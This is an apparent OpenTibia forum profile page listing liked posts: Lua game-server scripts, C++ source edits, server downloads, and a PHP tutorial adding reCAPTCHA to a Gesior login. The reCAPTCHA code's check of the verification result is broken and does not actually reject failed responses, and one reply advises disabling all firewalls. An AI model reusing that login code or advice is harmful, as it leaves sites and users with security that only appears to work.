
vedovi
Membro
-
Registro em
-
Última visita
Histórico de Curtidas
-
vedovi deu reputação a Dev PHP em Contentbox headline não aparece no GesiorA biblioteca de geração de imagens está ativa no seu server??
PHP-GD, confira isso.
# apt-get install php5-gd OR
$ sudo apt-get install php5-gd
-
vedovi deu reputação a VitorSubhi em [Sistema] Advanced Trade Points v1.0Apresentação: Olá galera do Tibia King, este é meu primeiro tutorial que desenvolvo após anos apenas sugando da comunidade, chegou a hora de compartilhar um pouco de conhecimento, rsrs...
Após ver que muitos usuários tinham interesse em um sistema de Trade de Points in-game resolvi trazer um sistema totalmente completo para vocês.
Funcionamento:
Player 1 após adquirir os Points, pode iniciar uma negociação com o Player 2 através do comando /tradepoints Player 2, Quantidade. Será aberto uma Janela de Trade com o item referente aos Points. Após ambos aceitarem a negociação será realizado a troca de Points pelo item requisitado.
Observações:
Necessário ter acesso às Sources de sua Distro. Testado em servidor 8.6 (The Forgotten Server 0.4). Antes que venham falar que possui sistemas parecidos, veja o diferencial (Item não aparece em nenhum inventário, e não é necessário usar/comprar qualquer item).
Algumas Imagens:
Instalação:
Sources > Luascript.cpp Sources > Luascript.cpp Sources > Luascript.h
Server > Data > Lib > 050-function Server > Data > Creaturescripts > Scripts >Trade_Orbs.lua Server > Data > Creaturescripts > Creaturescripts.xml Server > Data > Creaturescripts > Scripts > Login.lua Server > Data > Talkactions > Scripts > Points_Trade.lua Server > Data > Talkactions > Talkactions.xml Créditos:
Todo o sistema foi feito completamente por mim: Vítor Subhi.
The Forgotten Server (Pelas Sources)
Vodkart, White Wolf, Natanael Beckman, e a todos os demais membros do TK que não lembro o nome, que contribuíram indiretamente através de seus tutoriais.
-
vedovi deu reputação a Skyforever em Mana Rune Per LevelTipo: Action.
Testado: Não.
@Oque Faz?.
Bom ela faz oque não tá feito.
@Instalando.
Primeiro vá em / data / actions/ scripts
nome_do_script.lua:
function onUse(cid, item, itemEx) local exhausted = 30 -- em segundos local T = { [{10, 50}] = {min = 50, max = 200}, [{51, 70}] = {min = 200, max = 400}, [{71, 90}] = {min = 400, max = 500}, [{91, math.huge}] = {min = 500, max = 1000} } if getPlayerStorageValue(cid, 281389) - os.time() > 0 then return doPlayerSendTextMessage(cid, 26, "You are exhausted.") end for k, v in pairs(T) do if isPlayer(itemEx.uid) then if getPlayerLevel(itemEx.uid) >= k[1] and getPlayerLevel(itemEx.uid) <= k[2] then doPlayerAddMana(itemEx.uid, math.random(v.min, v.max)) doSendMagicEffect(getThingPos(itemEx.uid), 28) doSendMagicEffect(getThingPos(cid), 30) setPlayerStorageValue(cid, 281389, os.time()+exhausted) end end end return true end actions.xml <action itemid="id" event="script" value="nome_do_script"/>
@Editando.
local T = {
[{10, 50}] = {min = 50, max = 200}
[{51, 70}] = {min = 200, max = 400}
[{71, 90}] = {min = 400, max = 500}
[{91, math.huge}] = {min = 500, max = 1000}
Em [{10, 50} é os leveis de 10 a 50 irá healar
{min = 50, max = 200}
para mudar os efeitos
doSendMagicEffect(getThingPos(itemEx.uid), 28)
doSendMagicEffect(getThingPos(cid), 30)
mude os números nessas linhas
para dar life você substitui essa linha:
doPlayerAddMana(itemEx.uid, math.random(v.min, v.max)
por essa:
doCreatureAddHealth(itemEx.uid, math.random(v.min, v.max)
pronto Runa por level instalada e funcionando.
Créditos:
No momento tô ligando a cobrar se alguém colocar 10 real pra min fico grato passo número por MP.
-
vedovi deu reputação a Apache em EVENTO ILHAS TEMATICAS + PHP + MAPAOlá pessoal como falei irei postar alguns eventos sem bugs para vocês e GRÁTIS!
Estarei também postando uma source OTX paga para vocês.
Chega de enrolar vamos ao evento (Particularmente gosto muito desse)
**SÓ CONFIGUREM NO MAPA DO EVENTO O LOCAL DE SAÍDA DAS ILHAS**
**EVENTO NÃO É DE MINHA AUTORIA MAS COMO É MEU ESTOU POSTANDO**
Vídeo mostrando como funciona o evento
obs: link para o vídeo estava localizado dentro do script
5 bosses localizados nas ilhas temáticas
Os jogadores deverão se unir para conseguir vencer todos os bosses das ilhas e atingir a última com o mais temido. Apenas os bravos guerreiros conseguem chegar ao final, como prêmio eles recebem a experiência dos bosses e loot.
Vá em data/creaturescripts/scripts e crie um aquivo chamado IOE.lua e cole isso dentro
agora na mesma pasta creaturescripts/scripts procure pela pasta login.lua e lá adicione o registro do evento
após isso vá em data/creaturescripts abra o arquivo creaturescripts.xml e adicione a tag
agora em data/globalevents/scripts crie um arquivo chamado IOE.lua e cole isso dentro
em globalevents.xml adicione a tag
agora na pasta LIB crie um arquivo chamado IOE.lua e cole isso dentro
agora na pasta data/monsters crie uma pasta chamada IOE e dentro crie 5 arquivos .xml com os seguintes nomes (irei postar o nome do monstro e em seguida o script dele.
island death.xml
island earth.xml
island energy.xml
island fire.xml
island ice.xml
feito isso agora na pasta data/monsters procure por monster.xml vamos registras nossos novos monsters
agora em data/movements/scripts crie um arquivo chamado IOE.lua e cole isso dentro
agora em movements.xml adicione a tag
pronto pessoal o evento já está registrado em seu servidor, agora vocês configurem a seu desejo na pasta data/LIB
agora irei postar a query o php e o mapa
SQL QUERY PARA REGISTRAR O EVENTO EM SUA DATABASE
PAGINA PHP EM SEU SITE (LINDA)
AGORA O MAPA (NÃO POSTAREI SCAN, QUEM QUISER BAIXAR É SÓ BAIXAR QUEM NÃO QUISER É SÓ CRIAR UM MAPA PARA SEU EVENTO!)
É ISSO AE ESPERO QUE GOSTEM DEIXEM SEU REP+
QUEM PRECISAR DE AJUDA PARA INSTALAR É SÓ PEDIR!
-
vedovi deu reputação a Marco Oliveira em Houses.php com imagesDownload images: mega.nz
Codigo houses.php: pastebin
-
vedovi deu reputação a Kimoszin em doPlayerSetPercentExperienceRateSimples função para adicionar porcentagem a mais na exp ganha.
\data\lib\050-functions
function doPlayerSetPercentExperienceRate(cid, value) return doPlayerSetRate(cid, SKILL__LEVEL, getConfigValue("rateExperience") + (value / 100)) end Uma função simples, de como usar: function onUse(cid, item) storage = 1214 percent = 20 if getPlayerStorageValue(cid, storage) == -1 then doPlayerSetPercentExperienceRate(cid, percent) setPlayerStorageValue(cid, storage, 1) else doPlayerSendCancel(cid, "Você ja tem "..percent.."% de experiencia extra") end return true end
Até
-
vedovi deu reputação a Enzo Caue em ReCAPTCHA by GoogleNeste tutorial você vai aprender a colocar aquele captcha box no seu gesior:
Primeiramente, você vai precisar da API e registrar o dominio, você pode fazer isso por aqui:
https://www.google.com/recaptcha/admin
Agora, vá até o seu layout.php e antes de <head> coloque isto:
<script src='https://www.google.com/recaptcha/api.js'></script>
Agora vamos até o accountmagement.php e embaixo de <?php, coloque:
if(isset($_REQUEST['account_login']) && isset($_REQUEST['password_login']) && !$captcha) { $main_content .='<h2>Please check the reCaptcha form.</h2>'; }
Procure por:
<input type="password" name="password_login" size="15" maxlength="15"> e na linha de baixo, adicione:
<div class="g-recaptcha" data-sitekey="SUA_PUBLIC_KEY"></div>
PS: você tem que colocar sua public key no lugar de SUA_PUBLIC_KEY!
PS2: você ainda pode trocar a cor adicionando data-theme="dark" nessa div. (OPCIONAL)
Agora, em system/load.login.php, abaixo de <?php adicione:
if(isset($_POST['g-recaptcha-response'])) { $captcha=$_POST['g-recaptcha-response']; }
Ainda em system/load.login.php, procure por:
if(isset($_REQUEST['account_login']) && isset($_REQUEST['password_login'])) { Visitor::setAccount($_REQUEST['account_login']); Visitor::setPassword($_REQUEST['password_login']); //Visitor::login(); // this set account and password from code above as login and password to next login attempt //Visitor::loadAccount(); // this is required to force reload account and get status of user $isTryingToLogin = true; } e substitua por:
if(isset($_REQUEST['account_login']) && isset($_REQUEST['password_login']) && $captcha) { $response=file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=SUA_PRIVATE_KEY&response=".$captcha."&remoteip=".$_SERVER['REMOTE_ADDR']); if($response.success==false) { echo '<h2>Dirty Robot!</h2>'; } else { Visitor::setAccount($_REQUEST['account_login']); Visitor::setPassword($_REQUEST['password_login']); //Visitor::login(); // this set account and password from code above as login and password to next login attempt //Visitor::loadAccount(); // this is required to force reload account and get status of user $isTryingToLogin = true; } } PS: voce deve colocar sua private key onde diz SUA_PRIVATE_KEY!
Pronto, já estará funcionando o ReCAPTCHA =]
KEYS:
Créditos: Musztang
-
vedovi deu reputação a Saymon Kopolsky em BeastXHunter v0.01 ALPHA [tfs 0.4] DownloadCriei especialmente para comunidade OT, nunca coloquei online, não está 100% completo, ele foi feito em apenas 6 meses, portanto não reclamem do tamanho do mapa. O servidor foi planejado apenas até o level 150, eu não pretendo mais atualizar, estou sem tempo por causa de alguns projetos pessoais.
Eu usei como base o servidor 8.60 do @Fir3element, por isso tem alguns links do github dele.
- Downloads:
* Distro (x32) + Dll's: https://github.com/Fir3element/binaries/raw/master/x32.rar
OU
* Distro (x64) + Dll's: https://github.com/Fir3element/binaries/raw/master/x64.rar
* Datapack: https://drive.google.com/open?id=0B7ExaXOEctCbN3BYeE5GLUZxWXM
- Downloads (opcional):
* Source (só a pasta src): https://github.com/Fir3element/3777/archive/master.zip
- Scans:
* Distro (x32): https://virustotal.com/pt/file/6683a91273b848a39ac21288da9d3abde341436744d6846e35a477c8e7c8f5f7/analysis/1480675335/
* Distro (x64): https://virustotal.com/pt/file/21028857bb1124f19e0353e7f5775c8f66afc4f87f29df9cf4ab8ca1a046b816/analysis/1480675394/
* Datapack: https://virustotal.com/pt/file/46723ac7dd38f02be0a0987b9a10d8b1c71744b65af3e6d718339555a2fab763/analysis/1499037519/
* Source: https://virustotal.com/pt/file/3761b48ee19f3f540d4c4a48c35c73c89a85615876307073494b1dcfed464d36/analysis/1480675473/
Mais Imagens:
Pessoas que contribuíram direta ou indiretamente:
-
vedovi deu reputação a Antipush em [8.60] MEGA-WAR ENFORCED VARIOS SISTEMAS!Hail Tk
MEGA-WAR ENFORCED 8.60
É Com Muito Prazer Que Venho Trazer Conteúdo Para Comunidade tibianos!
SERVIDOR CONFIGURADO PARA SER RODANDO EM LINUX ACESSE = SWEBCONECT.COM.BR
Oque Tem No Servidor?
Capture The Flag BATTLEFIELD ZOMBIE GEMAS PARA CADA VOCAÇÃO COM DEFENSE DANO MAPA VENORE CITY PRINCIPAL TODA EDITARA E VOLTADA PARA WAR NPC EART BRAINS -Troca item por coins no jogo- WAR SYSTEM CAST INSTALADO EVENTOS AUTOMATICOS ITEM EDITADOS FREE E DONATE NPC QUE TROCA EVENT COINS POR ITEMS e muito mas... Cidades
karzadom carlin big-city venore simples war deserto PRINT
EM FIM BAIXEM E APROVEITE!
Creditos
Antipush
Henrique
Jnetworks
Servidor completo
http://www.mediafire.com/file/7cz9sunlbxq2jib/MEGATK.zip
Scan
https://www.virustotal.com/pt/file/955715efdc201fb2a7bb5023e759b9089bcf30d0967281d498dbea7f25934967/analysis/1498100128/
Se Procura Solução Para Seus Serviços Online Venha Já Resolver Seus Poblemas, Otimos Preços
Alta Qualidade e uma Equipe Técnica Disposta a Da Suporte Acesse : swebconect.com.br
-
vedovi deu reputação a Antipush em [MODS] Cast on/off em OTX! 8.60MOD CAST OTX-TFS
HAIL TK!
VENHO HOJE TRAZER SOLUÇÃO DE PROBLEMAS DE MUITOS USUÁRIOS AQUI NO TK QUE NÃO CONSEGUE ATIVA O CAST COM SCRIPTS DO FÓRUM UTILIZADO PARA VERSÃO 8.60 VAMOS LA?
Crie um Arquivo com Nome mod_cast.xml na pasta /Mods/
e adicione o seguinte script
Em /data/creaturescript/ crie um arquivo com nome castlogout.lua e adicione
Em Talkactions crie um arquivo com nome cast.lua e adicione
TAG= <talkaction words="/cast;!cast" event="script" value="cast.lua"/>
Ultima Parte crie uma conta em sua db com login 10 e senha qualquer uma. (nao crie character no login 10)
Diga /cast , /cast on /cast off ect..
Rep+?
creditos
Antipush
Matryx
Procura um Excelente Serviço Para Hospeda Seu Projeto?
Damos Suporte Para openTibia, pm! melhores preços do mercado!!
-
vedovi deu reputação a Vodkart em Normal [8.6] TOP 5 FRAGS no BroadCastMe pediram para postar uma especie de propaganda, onde aparecia os top frags do servidor, no caso está configurado para aparecer os 5 frags mais alto.
como esse script está no meu servidor faz anos, resolvi jogar para a molecada:
Data/globalevents/script
topfrags.lua
function getJogadorFrags(jogador) -- essa função já existia, só modifiquei uma parte local time = os.time() local times = {today = (time - 86400), week = (time - (7 * 86400))} local contents, result = {day = {}, week = {}, month = {}}, db.getResult("SELECT `pd`.`date`, `pd`.`level`, `p`.`name` FROM `player_killers` pk LEFT JOIN `killers` k ON `pk`.`kill_id` = `k`.`id` LEFT JOIN `player_deaths` pd ON `k`.`death_id` = `pd`.`id` LEFT JOIN `players` p ON `pd`.`player_id` = `p`.`id` WHERE `pk`.`player_id` = " .. jogador .. " AND `k`.`unjustified` = 1 AND `pd`.`date` >= " .. (time - (30 * 86400)) .. " ORDER BY `pd`.`date` DESC") if(result:getID() ~= -1) then repeat local content = {date = result:getDataInt("date")} if(content.date > times.today) then table.insert(contents.day, content) elseif(content.date > times.week) then table.insert(contents.week, content) else table.insert(contents.month, content) end until not result:next() result:free() end local size = {day = table.maxn(contents.day),week = table.maxn(contents.week),month = table.maxn(contents.month)} return size.day + size.week + size.month end function onThink(interval, lastExecution) local max = 5 -- quantidade max que vai aparecer no rank local str,k, p = "TOP "..max.." Rank Frags:\n\n", 0, {} -- n mexa em nd local players = db.getResult("SELECT `id`,`name` FROM `players`") if (players:getID() ~= -1) then repeat table.insert(p, {getJogadorFrags(players:getDataInt("id")), players:getDataString("name")}) until not players:next() end table.sort(p, function(a, b) return a[1] > b[1] end) for x = 1, table.maxn(p) do k = k + 1 str = str .. "\n " .. k .. ". ".. p[x][2] .." - " .. p[x][1] .. "" if k == max then break end end doBroadcastMessage(str, 22) return true end
TAG:
<globalevent name="TopFrags" interval="3600" event="script" value="topfrags.lua"/>
-
vedovi deu reputação a psychonaut em removidodeleta o tópico
-
vedovi recebeu reputação de MarcosWalker em Serviço SMTPSim, desative todos seus firewalls e faça o procedimento que te falei.
caso funcione faço outro poste te ajudando para funcionar com seu firewall.
me add skype gorath29
-
vedovi deu reputação a Vodkart em [MODS] - [8.6] Perfect Zombie System [Automático] [V1.0]Qual dúvida ou erro poste no tópico que estarei respondendo.
Obs: Antes que me falem besteiras, coloquei para os GM'S, CM'S E GOD'S não contarem no evento, então testem apenas com jogadores.
Zombie.xml
<?xml version="1.0" encoding="ISO-8859-1"?> <mod name="Perfect Zombie System" version="8.6" author="Vodkart" contact="tibiaking.com" enabled="yes"> <config name="zombie_config"><![CDATA[ zombie_config = { storages = {172100, 172101, 172102}, -- n edite players = {min = 2, max = 30}, -- min, max players no evento rewards = {items ={{2160,10},{2494,1}}, trophy = 5805}, timeToStartEvent = 30, -- segundos para começar o evento CheckTime = 5, -- tempo que o TP fica aberto para os jogadores adrentarem o evento teleport = {{x=147, y=55, z=7}, {x=125 , y=304, z=7}}, -- position do tp onde aparece, position para onde o jogador vai ao entrar no tp arena = {{x=110,y=297,z=7},{x=145,y=321,z=7}}, -- area positions monster_name = "Zombie Event", timeBetweenSpawns = 20, min_Level = 20 } zombie_days = { ["Monday"] = {"13:00","18:00","20:00","22:00"}, ["Tuesday"] = {"13:00","18:00","22:50","22:00"}, ["Wednesday"] = {"21:57","18:00","20:00","23:17"}, ["Thursday"] = {"13:00","18:00","20:00","22:00"}, ["Friday"] = {"13:00","18:00","21:45","22:00"}, ["Saturday"] = {"13:00","18:00","20:00","22:00"}, ["Sunday"] = {"13:00","18:00","20:00","22:00"} } function removeZombieTp() local t = getTileItemById(zombie_config.teleport[1], 1387).uid return t > 0 and doRemoveItem(t) and doSendMagicEffect(zombie_config.teleport[1], CONST_ME_POFF) end function ZerarStoragesZombie() for _, stor in pairs(zombie_config.storages) do setGlobalStorageValue(stor, 0) end end function getPlayersInZombieEvent() local t = {} for _, pid in pairs(getPlayersOnline()) do if isInRange(getPlayerPosition(pid), zombie_config.arena[1], zombie_config.arena[2]) and getPlayerAccess(pid) < 3 then t[#t+1] = pid end end return t end function getZombieRewards(cid, items) local backpack = doPlayerAddItem(cid, 1999, 1) -- backpackID for _, i_i in ipairs(items) do local item, amount = i_i[1],i_i[2] if isItemStackable(item) or amount == 1 then doAddContainerItem(backpack, item, amount) else for i = 1, amount do doAddContainerItem(backpack, item, 1) end end end end function isWalkable(pos, creature, proj, pz)-- by Nord if getTileThingByPos({x = pos.x, y = pos.y, z = pos.z, stackpos = 0}).itemid == 0 then return false end if getTopCreature(pos).uid > 0 and creature then return false end if getTileInfo(pos).protection and pz then return false, true end local n = not proj and 3 or 2 for i = 0, 255 do pos.stackpos = i local tile = getTileThingByPos(pos) if tile.itemid ~= 0 and not isCreature(tile.uid) then if hasProperty(tile.uid, n) or hasProperty(tile.uid, 7) then return false end end end return true end function HaveCreatureZombie(area, remove) for x = area[1].x - 1, area[2].x + 1 do for y = area[1].y - 1, area[2].y + 1 do local pos = {x=x, y=y, z=area[1].z} local m = getTopCreature(pos).uid if remove ~= false and m ~= 0 and isMonster(m) then doRemoveCreature(m) end end end end function spawnZombie() if #getPlayersInZombieEvent() > 1 then local pos = {x=math.random(zombie_config.arena[1].x, zombie_config.arena[2].x), y=math.random(zombie_config.arena[1].y,zombie_config.arena[2].y), z=zombie_config.arena[1].z} if not isWalkable(pos, false, false, false) then spawnZombie() else doSummonCreature(zombie_config.monster_name, pos) doSendDistanceShoot({x = pos.x - math.random(4, 6), y = pos.y - 5, z = pos.z}, pos, CONST_ANI_FIRE) addEvent(doSendMagicEffect, 150, pos, CONST_ME_HITBYFIRE) addEvent(doSendMagicEffect, 150, pos, CONST_ME_FIREAREA) doSendMagicEffect(pos, CONST_ME_MORTAREA) setGlobalStorageValue(zombie_config.storages[2], getGlobalStorageValue(zombie_config.storages[2]) <= 0 and 1 or getGlobalStorageValue(zombie_config.storages[2])+1) doBroadcastMessage("A zombie has spawned! There is currently " .. getGlobalStorageValue(zombie_config.storages[2]) .. " zombies in the zombie event!", MESSAGE_STATUS_CONSOLE_RED) addEvent(spawnZombie, zombie_config.timeBetweenSpawns *1000) end end end function CheckZombieEvent(delay) if getGlobalStorageValue(zombie_config.storages[1]) ~= (zombie_config.players.max+1) then if delay > 0 and getGlobalStorageValue(zombie_config.storages[1]) < zombie_config.players.max then doBroadcastMessage("Zombie event starting in " .. delay .. " minutes! The teleport will be closed when the event start!", MESSAGE_STATUS_WARNING) elseif delay == 0 and getGlobalStorageValue(zombie_config.storages[1]) < zombie_config.players.min then for _, cid in pairs(getPlayersInZombieEvent()) do doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid))) doSendMagicEffect(getPlayerPosition(cid), CONST_ME_TELEPORT) end removeZombieTp() doBroadcastMessage("The Zombie event could not start because of to few players participating.\n At least " .. zombie_config.players.min .. " players is needed!", MESSAGE_STATUS_WARNING) ZerarStoragesZombie() elseif delay == 0 and getGlobalStorageValue(zombie_config.storages[1]) >= zombie_config.players.min then removeZombieTp() doBroadcastMessage("The Zombie event is now full [" .. getGlobalStorageValue(zombie_config.storages[1]) .. " players]! The event will soon start.") for _, var in pairs(getPlayersInZombieEvent()) do doPlayerSendTextMessage(var, MESSAGE_EVENT_ADVANCE, "The first zombie will spawn in " .. zombie_config.timeToStartEvent .. " seconds! Good luck!") end addEvent(spawnZombie, zombie_config.timeToStartEvent*1000) end addEvent(CheckZombieEvent, 60000, delay-1) end end]]></config> <event type="statschange" name="ZombieStats" event="script"><![CDATA[ domodlib('zombie_config') if isPlayer(cid) and isMonster(attacker) and getCreatureName(attacker) == zombie_config.monster_name then if isInRange(getPlayerPosition(cid), zombie_config.arena[1], zombie_config.arena[2]) then if #getPlayersInZombieEvent() > 1 then doBroadcastMessage(getPlayerName(cid) .. " have been eated by Zombies!", MESSAGE_STATUS_CONSOLE_RED) local corpse = doCreateItem(getPlayerSex(cid) == 1 and 3058 or 6081, 1, getPlayerPosition(cid)) doItemSetAttribute(corpse, "description", "You recognize " .. getCreatureName(cid) .. ". He was killed by "..(isMonster(attacker) and "a "..string.lower(getCreatureName(attacker)) or isCreature(attacker) and getCreatureName(attacker) or "a field item")..".") doSendMagicEffect(getPlayerPosition(cid), CONST_ME_POFF) doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid)), false) doSendMagicEffect(getPlayerPosition(cid), CONST_ME_TELEPORT) if #getPlayersInZombieEvent() == 1 then local winner = getPlayersInZombieEvent()[1] doBroadcastMessage(getCreatureName(winner)..' has survived at zombie event!') local goblet = doPlayerAddItem(winner, zombie_config.rewards.trophy, 1) doItemSetAttribute(goblet, "description", "Awarded to " .. getPlayerName(winner) .. " for winning the Zombie event.") getZombieRewards(winner, zombie_config.rewards.items) doTeleportThing(winner, getTownTemplePosition(getPlayerTown(winner)), false) doSendMagicEffect(getPlayerPosition(winner), CONST_ME_TELEPORT) doBroadcastMessage(getPlayerName(winner).." won the Zombie event! Congratulations!") HaveCreatureZombie(zombie_config.arena, true) ZerarStoragesZombie() end else doBroadcastMessage("No one survived in the Zombie Event.", MESSAGE_EVENT_ADVANCE) HaveCreatureZombie(zombie_config.arena, true) ZerarStoragesZombie() end return false end end return true]]></event> <globalevent name="Zombie_Start" interval="60000" event="script"><![CDATA[ domodlib('zombie_config') function onThink(interval, lastExecution) if zombie_days[os.date("%A")] then local hrs = tostring(os.date("%X")):sub(1, 5) if isInArray(zombie_days[os.date("%A")], hrs) and getGlobalStorageValue(zombie_config.storages[3]) <= 0 then local tp = doCreateItem(1387, 1, zombie_config.teleport[1]) doItemSetAttribute(tp, "aid", 45110) CheckZombieEvent(zombie_config.CheckTime) setGlobalStorageValue(zombie_config.storages[1], 0) setGlobalStorageValue(zombie_config.storages[2], 0) HaveCreatureZombie(zombie_config.arena, true) end end return true end]]></globalevent> <event type="login" name="Zombie_Login" event="script"><![CDATA[ domodlib('zombie_config') function onLogin(cid) registerCreatureEvent(cid, "ZombieBattle") registerCreatureEvent(cid, "ZombieStats") if isInRange(getPlayerPosition(cid), zombie_config.arena[1], zombie_config.arena[2]) then doTeleportThing(cid, getTownTemplePosition(getPlayerTown(cid))) end return true end]]></event> <event type="combat" name="ZombieBattle" event="script"><![CDATA[ domodlib('zombie_config') if isPlayer(cid) and isPlayer(target) and isInRange(getPlayerPosition(cid), zombie_config.arena[1], zombie_config.arena[2]) then doPlayerSendCancel(cid, "You may not attack this player.") return false end return true ]]></event> <movevent type="StepIn" actionid ="45110" event="script"><![CDATA[ domodlib('zombie_config') function onStepIn(cid, item, position, fromPosition) if not isPlayer(cid) then return true end if getPlayerAccess(cid) > 3 then return doTeleportThing(cid, zombie_config.teleport[2]) end if getPlayerLevel(cid) < zombie_config.min_Level then doTeleportThing(cid, fromPosition, true) doPlayerSendCancel(cid, "You need to be at least level " .. zombie_config.min_Level .. ".") doSendMagicEffect(getThingPos(cid), CONST_ME_MAGIC_BLUE) return true end if getGlobalStorageValue(zombie_config.storages[1]) <= zombie_config.players.max then doTeleportThing(cid, zombie_config.teleport[2]) setGlobalStorageValue(zombie_config.storages[1], getGlobalStorageValue(zombie_config.storages[1])+1) doBroadcastMessage(getPlayerName(cid) .. " entered the Zombie event! Currently " .. getGlobalStorageValue(zombie_config.storages[1]) .. " players have joined!", MESSAGE_STATUS_CONSOLE_RED) if getGlobalStorageValue(zombie_config.storages[1]) == zombie_config.players.max then setGlobalStorageValue(zombie_config.storages[1], getGlobalStorageValue(zombie_config.storages[1])+1) removeZombieTp() doBroadcastMessage("The Zombie event is now full [" .. getGlobalStorageValue(zombie_config.storages[1])-1 .. " players]! The event will soon start.") for _, var in pairs(getPlayersInZombieEvent()) do doPlayerSendTextMessage(var, MESSAGE_EVENT_ADVANCE, "The first zombie will spawn in " .. zombie_config.timeToStartEvent .. " seconds! Good luck!") end addEvent(spawnZombie, zombie_config.timeToStartEvent*1000) end end return true end]]></movevent> <talkaction words="/zombiestart;!zombiestart" access="5" event="buffer"><![CDATA[ domodlib('zombie_config') if getGlobalStorageValue(zombie_config.storages[3]) > 0 then doPlayerSendCancel(cid, "The event is already starting.") return true elseif not param or not tonumber(param) then doPlayerSendCancel(cid, "Use only numbers.") return true end local param = tonumber(param) <= 0 and 1 or tonumber(param) local tp = doCreateItem(1387, 1, zombie_config.teleport[1]) doItemSetAttribute(tp, "aid", 45110) CheckZombieEvent(tonumber(param)) ZerarStoragesZombie() setGlobalStorageValue(zombie_config.storages[3], 1) HaveCreatureZombie(zombie_config.arena, true) ]]></talkaction> <globalevent name="ZombieDebug-Start" type="start" event="buffer"><![CDATA[ domodlib('zombie_config') ZerarStoragesZombie() return true]]></globalevent> </mod>
OBS: Quem serve em milesegundos, mude essa parte:
<globalevent name="Zombie_Start" interval="60" event="script"><![CDATA[
para
<globalevent name="Zombie_Start" interval="60000" event="script"><![CDATA[
----------------------------------------------------- // --------------------------------------------------
o monstro você instala em data/monsters
zombie event.xml
<?xml version="1.0" encoding="UTF-8"?> <monster name="Zombie Event" nameDescription="an zombie event" race="undead" experience="280" speed="100" manacost="0"> <health now="500" max="500"/> <look type="311" corpse="9875"/> <targetchange interval="5000" chance="50"/> <strategy attack="100" defense="0"/> <flags> <flag summonable="0"/> <flag attackable="0"/> <flag hostile="1"/> <flag illusionable="0"/> <flag convinceable="0"/> <flag pushable="0"/> <flag canpushitems="1"/> <flag canpushcreatures="1"/> <flag targetdistance="1"/> <flag staticattack="90"/> <flag runonhealth="0"/> </flags> <attacks> <attack name="melee" interval="2000" min="-35000" max="-35000"/> </attacks> <defenses armor="15" defense="10"/> <immunities> <immunity paralyze="1"/> <immunity invisible="1"/> </immunities> <voices interval="5000" chance="10"> <voice sentence="You wont last long!"/> <voice sentence="Mmmmh.. braains!"/> </voices> <loot> <item id="2148" countmax="1" chance="100000"/><!-- gold coin --> </loot> </monster>
e a tag em monsters.xml
<monster name="Zombie Event" file="zombie event.xml"/>
Configuração
Sistema
zombie_config = {
storages = {172100, 172101}, -- não edite
players = {min = 2, max = 30}, -- número minimo e máximo para jogadores no evento
rewards = {items ={{2160,10},{2494,1}}, trophy = 5805}, -- premiações do jogador
timeToStartEvent = 30, -- segundos para começar o evento após dar start
CheckTime = 5, -- tempo que o TP fica aberto para os jogadores adrentarem o evento
teleport = {{x=145, y=50, z=7}, {x=176 , y=54, z=5}}, -- posiçãodo tp onde aparece, posição para onde o jogador vai ao entrar no tp
arena = {{x=173,y=52,z=5},{x=179,y=56,z=6}}, -- posição começo e final da area do evento
monster_name = "Zombie Event", -- nome do monstro que será sumonado
timeBetweenSpawns = 20, -- a cada quantos segundos é dado o respaw time do zombie no evento
min_Level = 20 -- level minimo para participar do evento
}
Dia e Horário
zombie_days = {
["Monday"] = {"13:00","18:00","20:00","22:00"},
["Tuesday"] = {"13:00","18:00","20:00","22:00"},
["Wednesday"] = {"13:00","18:00","20:00","22:00"},
["Thursday"] = {"13:00","18:00","20:00","22:00"},
["Friday"] = {"13:00","18:00","20:00","22:00"},
["Saturday"] = {"13:00","18:00","20:00","22:00"},
["Sunday"] = {"13:00","18:00","20:00","22:00"}
}
["Dia em inglês"] = {"horário do evento"}
Configurando a área:
zombie lua.rar
-
vedovi deu reputação a joadson em OpenPrivateChannelOlá, estarei disponibilzando o código para abrir o ChannelPrivate, se você usa o CastSystem seja do OTX ou do TFS 0.4, será util se for usar o Cast System para abrir ao fazer login(Irei disponibilizar o script também).
Eu fiz esse código com base em outro da própria sourcer, funciona perfeitamente.
Explicando um pouco sobre o AutoCast, como irei usar o CastSystem, pude notar que em muitos OT's, mesmo com CastSystem, os players não ativavam a função, então coloquei para abrir automaticamente, sendo que o player terá que usar o comando para desativar, meu intuito é fazer com que os novos jogadores venham conhecer um pouco sobre o OT mesmo antes de jogar(essa função pode ser "inutil" para alguns, mas sei que servirá para outros assim como serviu para mim.
Todos códigos foram feitos por mim, caso copie, coloque os créditos.
PS: Script AutoCast para OTX, se usa outra versão é só mudar as funções que chamam o Cast ou me envie PM que irei modificar.
Vamos lá.
Procure static int32_t luaL_errors(lua_State* L); e abaixo coloque
static int32_t luaOpenPrivateChannel(lua_State* L); depois procure por lua_register(m_luaState, "doPlayerSendCancel", LuaInterface::luaDoPlayerSendCancel); e acima coloque
//OpenPrivateChannel(cid) lua_register(m_luaState, "openPrivateChannel", LuaInterface::luaOpenPrivateChannel);
Depois procure por int32_t LuaInterface::luaGetTileInfo(lua_State* L) e coloque acima
int32_t LuaInterface::luaOpenPrivateChannel(lua_State* L) { ScriptEnviroment* env = getEnv(); uint32_t cid = popNumber(L); Player* player = env->getPlayerByUID(cid); if (!player || player->isRemoved() || !player->isPremium()) return false; ChatChannel* channel = g_chat.createChannel(player, 0xFFFF); if (!channel || !channel->addUser(player)) return false; player->sendCreatePrivateChannel(channel->getId(), channel->getName()); return true; } Agora vamos ao script para abrir o Live/Cast ao fazer logon.
Vá em data/Creatureevents e crie um arquivo chamado live.lua e coloque o código abaixo
function onLogin(cid) local t, data = 1, getPlayerSpectators(cid) if getPlayerAccountManager(cid) == MANAGER_NONE and getPlayerAccess(cid) <= 4 then -- Account Manager não irá iniciar o Cast e GM também não, mude apenas o Acess caso seja diferente data.broadcast = true doPlayerSetSpectators(cid, data) db.executeQuery("UPDATE `players` SET `broadcasting` = 1 WHERE `id` = " .. getPlayerGUID(cid)) doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_BLUE, "Seu Cast foi ativado automaticamente, para desativar digite /live off.") openPrivateChannel(cid) -- A função para abrir o PrivateChannel end return true end Depois abra o login.lua e coloque registerCreatureEvent(cid, "AutoCast")
Feito isso, abra o creaturescript.xml e coloque
<event type="login" name="AutoCast" event="script" value="live.lua"/>
-
